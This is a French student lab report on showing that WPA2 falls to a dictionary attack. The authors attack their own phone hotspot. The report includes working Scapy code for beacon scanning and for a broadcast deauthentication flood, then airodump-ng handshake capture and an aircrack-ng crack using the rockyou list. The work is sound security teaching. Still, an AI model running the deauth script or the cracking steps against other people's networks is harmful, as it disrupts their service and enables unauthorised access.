Nathan Vaty – Augé Jean-Sébastien

Projet Wifi Scapy

Introduction

Le but de ce projet est de récupérer la clef d'un point d'accès wifi, afin de mettre en évidence la vulnérabilité du protocole WPA2 à une attaque de type dictionnaire. Pour cela, tout au long de ce rapport, nous nous intéresserons à l'attaque d'un point d'accès qui nous appartiens (Martin_Routeur_King, un téléphone portable Android en partage de connexion, protégé en WPA2). Pour cela, nous utiliserons des scripts écrits en Python3 (et présent dans l'archive), ainsi que des outils provenant de aircrack-ng. Enfin, pour les parties utilisant aircrack-ng, nous mettrons en évidence les algorithmes et méthodes qu'il faudrait déployer en Python3 afin d'améliorer notre projet.

1 – Fonctionnement d'une attaque

Le principe d'une attaque est relativement simple : On commence par passer la carte wifi de l'ordinateur attaquant en mode monitor, afin de pouvoir scanner les beacon_frames que l'ordinateur peut voir. À partir de là, il est possible de récupérer le BSSID du point d'accès que l'on souhaite attaquer (et que l'on peut noter quelque part, il sera utile à plusieurs moments au cours de l'attaque). Une fois cela fait, on souhaite écouter sur le channel du point d'accès cible afin de récupérer le handshake lorsqu'un appareil se connectera sur le point d'accès. Ce handshake contient le mot de passe chiffré, que l'on peut ensuite attaquer par dictionnaire. Afin d'éviter d'attendre un long moment que quelqu'un se connecte sur le point d'accès, on utilise une fonction de deauth qui va déconnecter une ou plusieurs machines du point d'accès : on récupère ainsi le handshake au moment de la reconnexion d'un utilisateur. Pour tester le deauth dans ce projet nous avons un iPad qui est lui relié au point d'accès.

2 – Script de reset de la carte wifi

Afin de pouvoir faire nos tests de manière efficace et de ne pas perdre de temps à de repasser notre interface en mode managed, nous avons un simple script shell qui est le suivant : il suffit de remplacer « wlp2s0 » par son interface wifi :

```
airmon-ng stop wlp2s0mon
ifconfig wlp2s0 down
iwconfig wlp2s0 mode managed
ifconfig wlp2s0 up
service networking restart
service network-manager restart

echo "done restart network"
```

Ici, on gère le mode managed de airmon-ng en plus de la méthode que l'on utilise pour notre scanner en Python3.

3 – Scanner des beacon_frames en Python

3.1 – Fonctionnement du script

Nous allons dans cette partie expliquer le fonctionnement du script « scanner.py », avant de l'exécuter. Il est important de noter que pour lancer l'exécution du script, il faut posséder les droits root, et c'est la première chose que le programme demande à l'utilisateur. Après récupération auprès de l'utilisateur du programme de son interface wifi, on la place en mode monitor. Pour cela, on utilise les commandes suivantes :

```
print("passage de l'interface en mode monitor: \n")
print("(executer le script restart_network.sh pour repasser en mode managed)")
os.system("killall wpa_supplicant")
os.system("killall NetworkManager")
os.system('ifconfig ' + interface + ' down') #on passe l'interface en down
try:
    os.system('iwconfig ' + interface + ' mode monitor')
except:                                                  #si ça ne marche pas, erreur
    print("l'interface n'existe pas ou n'est pas détectée")
    exit(1)
os.system('ifconfig ' + interface + ' up')          #on peut up l'interface
```

On commence par kill wpa_supplicant et le Network Manager avant de down l'interface de l'utilisateur. On essaie ensuite de passer l'interface en mode monitor, mais si cela ne fonctionne pas (si l'interface n'existe pas, ou que l'interface ne peut pas passer en mode monitor, comme sur certains macbook par exemple), on affiche et message d'erreur et on sort du programme. Si tout s'est bien passé, on peut donc up l'interface, et on est donc en mode monitor. Il ne reste plus qu'à lancer le sniffeur :

```
i = 1
while True:
    sniff(iface=interface, prn=action_packets, count =20)
    os.system("iw dev "+ interface + " set channel %d" % i)
    i = i + 1
    if i > 15 :
        i = 1
```

Ici on utilise la fonction sniff de Scapy, pour sniffer 20 paquets avant de passer au channel suivant. Une fois arrivé au channel 15, on retourne au premier et on continue jusqu'à ce que l'utilisateur tue le programme (il est important de noter qu'il est nécessaire d'envoyer plusieurs sigkill pour tuer le programme). Si on ne change pas de channel, on reste bloqué sur le premier channel, et le téléphone que l'on a pour cible étant en général sur le channel 6 ou 11, on ne le verrai pas.

Il ne reste plus qu'a définir les actions à effectuer en fonction des paquets reçut :

```
ap_list = []

def action_packets(packet):
    #print(packet.show())
    if packet.haslayer(Dot11):  #on vérifie que le paquet soit un beacon frame pour l'afficher
        if packet.type == 0 and packet.subtype == 8:
            if packet.addr2 not in ap_list:
                ap_list.append(packet.addr2)
                print("Point d'accès: %s , SSID: %s , channel: %s  \n" %(packet.addr2, packet.info, packet[RadioTap].channel))
```

Ici, on vérifie que le paquet est bien un beacon_frame (sinon il ne nous intéresse pas. d'après la documentation Scapy, le type doit être 0 et le sous-type 8). Si il n'est pas dans notre liste de pont d'accès, alors on affiche son nom, son BSSID, et son channel.

Dans une version antérieure du programme, nous n'avions pas de liste de point d'accès : on recevait donc en doublon beaucoup de beacon_frames, et il était difficile de s'y retrouver et de voir si on avait bien notre cible. Avec cette liste, on affiche chaque point d'accès une seule fois.

3.2 – Démonstration

On commence par récupérer le nom de l'interface wifi (commande iwconfig). On passe ensuite en root, et on exécute le script scanner.py. On renseigne enfin la bonne interface wifi :

```
root@js-Dell:/home/js/Documents/Wifi/projet# python3 scanner.py
Vous devez avoir les privilèges root pour executer ce script.
Continuer? (O/n)O
Continue

Veuillez entrer le nom de votre interface wifi (iwconfig pour la connaitre)wlp2s0
```

On lance ensuite le sniffeur :

```
l'interface est désormais en mode monitor
Lancement sniffer...
^CPoint d'accès: 00:24:d4:d1:3f:41 , SSID: b'FreeWifi' , channel: 1

Point d'accès: 00:24:d4:d1:3f:42 , SSID: b'FreeWifi_secure' , channel: 1

Point d'accès: 00:24:d4:d1:3f:40 , SSID: b'freebox_jca' , channel: 1

^C^CPoint d'accès: ca:0b:f9:37:bd:3f , SSID: b'Martin_Router_King' , channel: 6

^CPoint d'accès: b0:39:56:ea:30:99 , SSID: b'Freebox-53E90D' , channel: 6

Point d'accès: 34:27:92:c8:66:f8 , SSID: b'Freebox-53E90D' , channel: 6
```

On observe bien les box internets aux alentours (box personnelle : freebox_jca), mais aussi notre point d'accès cible : Martin_Routeur_King, sur le channel 6, et qui a pour BSSID « ca:0b:f9:37:bd:3f ».

4 – Deauth en Python

4.1 – Fonctionnement

Ce script est relativement simple en soit : en utilisant Scapy, on forge un paquet de deauth, que l'on va envoyer en boucle vers le point d'accès cible afin de déconnecter les appareils connectés.

On commence par récupérer le BSSID de la cible (récupéré auparavant par le script scanner.py) :

```
interface=input("Veuillez entrer le nom de votre interface wifi (iwconfig pour la connaitre)")
AP_cible=input("veuillez entrer l'adresse du pont d'acces cible: ")
adresse_cible="ff:ff:ff:ff:ff:ff" #on attaque toutes les cibles
```

La variable « adresse_cible » permet de spécifier une cible spécifique, mais si on souhaites propager l'attaque à tous les appareils, on prend l'adresse « ff:ff:ff:ff:ff:ff ».

On utilise ensuite la documentation Scapy pour forger le paquet de Deauth (type 0, sous-type 12):

```
dot11 = Dot11(type=0,subtype=12,addr1=adresse_cible,addr2=AP_cible,addr3=AP_cible)
packet = RadioTap()/dot11/Dot11Deauth(reason=7)
while True:
    print("Envoi d'un paquet de deauth vers %s" %AP_cible)
    sendp(packet, iface=interface)
```

Une fois le paquet créé, on l'envoie en boucle. Lors de nos tests, l'iPad de test est bien déconnecté au bout de quelques secondes, et perd la connexion (testé avec un stream vidéo en direct, le stream est bien coupé et il est déconnecté du point d'accès).

4.2 – Fonctionnement

On lance le script deauth.py, puis on renseigne l'interface wifi et le BSSID de la cible :

```
root@js-Dell:/home/js/Documents/Wifi/projet# python3 deauth.py
Module de deauth:
Veuillez entrer le nom de votre interface wifi (iwconfig pour la connaitre)wlp2s0
veuillez entrer l'adresse du pont d'acces cible: ca:0b:f9:37:bd:3f
```

Une fois renseignés, le script se lance et envoie les paquets de deauth en boucle sur la cible :

```
Envoi d'un paquet de deauth vers ca:0b:f9:37:bd:3f
.
Sent 1 packets.
Envoi d'un paquet de deauth vers ca:0b:f9:37:bd:3f
.
Sent 1 packets.
Envoi d'un paquet de deauth vers ca:0b:f9:37:bd:3f
.
Sent 1 packets.
```

5 – Démonstration du script permettant de sortir du mode monitor :

On vérifie tout d'abord que l'interface wifi est bien en mode monitor :

```
js@js-Dell:~/Documents/Wifi/projet[main]$ iwconfig
enp0s31f6  no wireless extensions.

lo        no wireless extensions.

wlp2s0    IEEE 802.11  Mode:Monitor  Frequency:2.437 GHz  Tx-Power=22 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:on
```

On lance ensuite notre script restart_network.sh, puis on vérifie ensuite si on est bien en mode managed :

```
root@js-Dell:/home/js/Documents/Wifi/projet# ./restart_network.sh

PHY     Interface       Driver          Chipset

phy0    wlp2s0          iwlwifi         Intel Corporation Wireless 8265 / 8275 (rev 78)

done restart network
root@js-Dell:/home/js/Documents/Wifi/projet# iwconfig
enp0s31f6  no wireless extensions.

lo        no wireless extensions.

wlp2s0    IEEE 802.11  ESSID:off/any
          Mode:Managed  Access Point: Not-Associated   Tx-Power=22 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:on
```

Pour la suite des tests, on utilisera des modules de aircrack-ng, avant de décrire plus en détail les algorithme que nous pourrions mettre en place afin d'améliorer le projet.

6 – Récupération du handshake avec airodump-ng

Dans cette partie, nous allons utiliser airodump-ng en plus de notre outils de deauth pour récupérer le handshake et attaquer le mot de passe de la cible.

On commence par passer l'interface en mode monitor à l'aide de airmon-ng :

```
root@js-Dell:/home/js/Documents/Wifi/projet# airmon-ng start wlp2s0

Found 5 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'

  PID Name
  897 avahi-daemon
  904 avahi-daemon
12065 NetworkManager
12080 wpa_supplicant
12201 dhclient

PHY     Interface       Driver          Chipset

phy0    wlp2s0          iwlwifi         Intel Corporation Wireless 8265 / 8275 (rev 78)

                (mac80211 monitor mode vif enabled for [phy0]wlp2s0 on [phy0]wlp2s0mon)
                (mac80211 station mode vif disabled for [phy0]wlp2s0)

root@js-Dell:/home/js/Documents/Wifi/projet# iwconfig
enp0s31f6  no wireless extensions.

lo        no wireless extensions.

wlp2s0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=0 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:on
```

On capture ensuite sur le channel 6 (où se trouve notre point d'accès cible). Dans un autre terminal, on lance notre script de deauth pour déconnecter les utilisateurs :

```
airodump-ng -c 6 --bssid CA:0B:F9:37:BD:3F -w Martin_Router_King wlp2s0mon
```

On découvre ainsi le handshake :

```
CH 11 ][ Elapsed: 24 s ][ 2021-01-10 14:21 ][ WPA handshake: CA:0B:F9:37:BD:3F

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

CA:0B:F9:37:BD:3F  -23  93      234      392    1  11  54e. WPA2 CCMP   PSK  Martin_Router_King

BSSID              STATION            PWR   Rate    Lost    Frames  Probe

CA:0B:F9:37:BD:3F  02:79:20:60:37:13  -32    0e- 1      0      863
```

On remarque sur la capture que nous somme sur le channel 11 (dut à un redémarrage du téléphone depuis le scanner, et donc un redémarrage du point d'accès).

7 – Attaque par dictionnaire

Tout d'abord, pour notre attaque, nous utiliserons le dictionnaire de mot de passe rockyou, assez volumineux mais téléchargeable à l'aide de la commande suivante :

curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt

Grace à la commande précédente, nous avons un fichier de capture qui contient le handshake qui nous intéresse. Il suffit donc de récupérer la partie chiffrée qui correspond au mot de passe, et de faire une attaque dictionnaire en utilisant aircrack-ng :

```
aircrack-ng -b CA:0B:F9:37:BD:3F Martin_Router_King-04.cap -w /home/js/Documents/Wifi/rockyou.txt
```

On trouve bien le mot de passe (même si pour l'exemple il s'agissait d'un mot de passe particulièrement faible) :

```
                          Aircrack-ng 1.2 rc4

   [00:00:00] 4/7120714 keys tested (349.50 k/s)

   Time left: 5 hours, 40 minutes, 3 seconds                 0.00%

                         KEY FOUND! [ 123456789 ]


   Master Key     : 81 D0 91 8E E6 60 7E 31 EA 39 07 F2 9B 88 9D B5
                    61 A6 46 FC D1 63 A1 E0 C4 96 C2 07 B2 B2 09 23

   Transient Key  : 6F D9 3D 80 B7 8B FF 6D 6C 43 26 D2 C4 41 90 58
                    47 70 F9 48 CC 6B 99 DB 58 43 45 26 10 7F 2E 2F
                    BC 66 C8 CD 0D 59 22 AB 8F FC 18 4B 63 8E 69 ED
                    3B 8A 64 59 A7 D3 76 F8 4A 41 1D 36 C1 A8 FC B5

   EAPOL HMAC     : 71 22 DC 3F 51 F2 EE 2D C6 55 B2 3E 53 40 7B 5A
t@js-Dell:~#
```

8 – Pistes d'améliorations

Les parties qui vont suivre se basent sur la programmation de modules en python. Le code n'est que sous forme d'algorithme et n'est donc pas exécutable. Il se trouve dans le fichier « algo.py »

8.1 – Capture du handshake

Pour la capture du handshake, il faudrait lancer une capture sur le réseau (avec Scapy ou même tshark). Une fois le fichier de capture enregistrer, on doit parcourir les paquets pour obtenir celui qui correspond au handshake et qui contient le mot de passe chiffré. En algorithmique, cela se traduit sous cette forme :

```
def captureHandshake():
    for packet in cap:
        if packet.type == handshake:
            return packet.info
```

8.2 – Attaque dictionnaire du mot de passe

L'attaque par dictionnaire est relativement simple d'un point de vue algorithmique : si on a une bibliothèque qui nous permet de connaître la manière dont est chiffré le mot de passe, il suffit de parcourir le dictionnaire, de chiffrer chaque mot de passe et de vérifier si il y a correspondance avec le mot de passe chiffré passé en argument dans la fonction. En algorithmique, cela se traduit sous la forme :

```
def casserMDP(MDPchiffre):
    filin = open("rockyou.txt", "r")
    lignes = filin.readlines()
    for mdpTest in lignes:
        if chiffrement(mdpTest) == MDPchiffre:
            return mdpTest
```

9 – Conclusion

Tout au long de ce projet, nous avons put observer le fait qu'il est possible de récupérer les accès à un point d'accès wifi protégé en WPA2 par dictionnaire, ou même par force brute si le dictionnaire ne contient pas le mot de passe que l'on attaque. Cette attaque peut se dérouler sans nécessairement être à portée de la cible une fois le handshake récupéré grâce aux méthodes montrées tout au long de ce rapport.